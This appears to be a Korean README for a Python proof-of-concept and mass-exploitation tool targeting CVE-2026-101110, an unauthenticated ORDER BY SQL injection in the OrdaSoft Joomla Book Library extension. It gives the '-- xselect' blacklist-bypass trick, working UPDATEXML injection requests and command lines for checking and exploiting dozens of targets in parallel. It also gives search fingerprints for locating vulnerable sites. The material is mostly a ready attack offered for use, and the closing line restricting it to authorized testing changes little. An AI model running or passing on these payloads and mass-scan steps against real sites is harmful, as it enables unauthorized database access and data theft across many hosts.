
CVE-2026-101110에 대한 Python 3 PoC 및 대량 익스플로잇으로, OrdaSoft Joomla Book Library <=6.4.6에서 field/direction 파라미터를 통한 인증되지 않은 ORDER BY SQL 인젝션입니다.
Joomla ≤ 6.4.6용 OrdaSoft **Book Library (Free)**에 대한 CVE-2026-101110 Python 3 PoC입니다. **6.4.7+**로 업그레이드하세요.
| PoCbit | https://pocbit.org/pocs/cve-2026-101110 |
| Catalog | https://pocbit.org/pocs/ |
| Component | com_booklibrary |
| File / function | site/booklibrary.php → books() |
| Parameters | field, direction (정렬) |
| Auth | 없음 (공개 도서 목록) |
| CWE | CWE-89 SQL Injection |
| CVSS 4.0 | 9.3 Critical (Joomla CNA) |
| Credit | Ala Arfaoui |
**Book Library (Free)**는 Joomla에서 도서 라이브러리 / 카테고리 목록을 제공하는 OrdaSoft 확장 기능입니다. 6.4.6 및 이전 버전에서 books() 함수는 field 및 direction 매개변수를 protectInjectionWithoutQuote() 로 필터링합니다. 이 함수는 select 하위 문자열만 검색하는 취약한 블랙리스트를 적용하며, 발견 시 값을 $db->quote() 로 감쌀 뿐 거부하지 않습니다.
값은 이후 따옴표 없는 ORDER BY 절에 추가됩니다 — 여기서 quote를 사용하는 것은 SQL 인젝션을 막지 못합니다 (CNA 설명).
익스플로잇을 위한 두 가지 조건:
field / direction) 값을 기록합니다. -- xselect decoy 주석을 추가합니다. 블랙리스트 검사를 통과하고, SQL 주석은 나머지 페이로드에 영향을 주지 않습니다.결과: 인증 없이 ORDER BY SQLi, 데이터베이스 읽기/쓰기 및 사이트 무결성 측면에서 심각한 위험.
Request 1 (prime): ...&field=title&direction=ASC → session sort defaults
Request 2 (inject): ...&field=<expr> -- xselect&direction=ASC
└─ concatenated into ORDER BY (unquoted)
취약한 필터 (개념적):
select (하위 문자열) 포함 → 전체 값을 따옴표로 감쌈 (ORDER BY 컨텍스트에서는 무의미).-- xselect 를 추가하여 블랙리스트가 주석 꼬리 안의 select 를 보게 하는 반면, -- 앞의 활성 표현식은 실행 가능한 SQL로 남습니다 (error-based / UPDATEXML / stacked ORDER BY 기법).PoC 구현:
| 단계 | 동작 |
|---|---|
| Fingerprint | com_booklibrary 경로 + 선택적 manifest 버전 |
| Route discovery | showCategory, search, showBooks, books, … + 스크래핑된 catid / Itemid |
| check | 세션 프라이밍 → SQLi 확인 (flag / VERSION()) |
| exploit | 프라이밍 → --subquery 추출 (기본값 SELECT VERSION()) |
| mass | --list + -j 병렬 대상; 성공적 유출 시 exploited.txt |
코드 내 페이로드 접미사 상수: -- xselect (BLACKLIST_DECOY).
cd CVE-2026-101110
pip install -r requirements.txt
python poc.py -u https://target.example --mode check
python poc.py -u https://target.example --mode check --aggressive
python poc.py -u https://target.example --mode exploit
python poc.py -u https://target.example --mode exploit --subquery "SELECT user()"
python poc.py --list targets.example.txt --mode check -j 40 --vuln-list hits.txt
python poc.py --list hits.txt --mode exploit -j 12 --subquery "SELECT VERSION()" --exploited-list exploited.txt
| 플래그 | 의미 |
|---|---|
--aggressive | Check 모드에서 프라이밍 후 버전 유출 시도 |
--subquery | UPDATEXML / double-query 페이로드용 내부 표현식 |
--exploited-list | 탭으로 구분된 성공적 추출 결과 |
--no-color | ANSI 비활성화 (NO_COLOR 도 가능) |
JSONL: pocbit, pocbit_catalog, pocbit_page, cve, component, session_primed.
프라이밍 (세션):
GET /index.php?option=com_booklibrary&task=showCategory&catid=1&field=title&direction=ASC HTTP/1.1
인젝션 (PoC가 decoy 추가):
GET /index.php?option=com_booklibrary&task=showCategory&catid=1&field=UPDATEXML(1,CONCAT(0x7e,(VERSION()),0x7e),1) -- xselect&direction=ASC HTTP/1.1
GET이 실패하면 동일한 라우트에서 POST 변형을 시도합니다.
Manifest (노출된 경우):
/administrator/components/com_booklibrary/booklibrary.xml≤ 6.4.6 → 취약한 라인; ≥ 6.4.7 → 패치됨 (check 출력의 patched_version).
body="option=com_booklibrary"
body="/components/com_booklibrary/" && body="Joomla"
body="com_booklibrary" && (body="booklibrary" || body="Book Library")
body="ordasoft" && body="booklibrary"
| CVE | 확장 기능 | 문제 | 수정 버전 |
|---|---|---|---|
| CVE-2026-101110 | Book Library | ORDER BY SQLi + 블랙리스트 우회 | 6.4.7 |
| CVE-2026-101111 | Book Library | 반사형 XSS (title 매개변수) | 6.4.7 |
| CVE-2026-101108 | Vehicle Manager | ORDER BY SQLi | 6.5.8 |
| CVE-2026-100752 | Real Estate Manager | ORDER BY SQLi | 6.7.9 |
배포한 모든 OrdaSoft 컴포넌트를 패치하세요.
com_booklibrary SQLi (CVE-2010-1522) — 다른 코드 경로승인된 테스트 및 패치 검증 전용입니다.
CVE-2026-101110 PoC: OrdaSoft Joomla Book Library (Free) <=6.4.6 unauth SQLi — field/direction ORDER BY, session prime + `-- xselect` blacklist bypass (com_booklibrary). Colored check + mass exploit, CVSS 9.3. https://pocbit.org/pocs/cve-2026-101110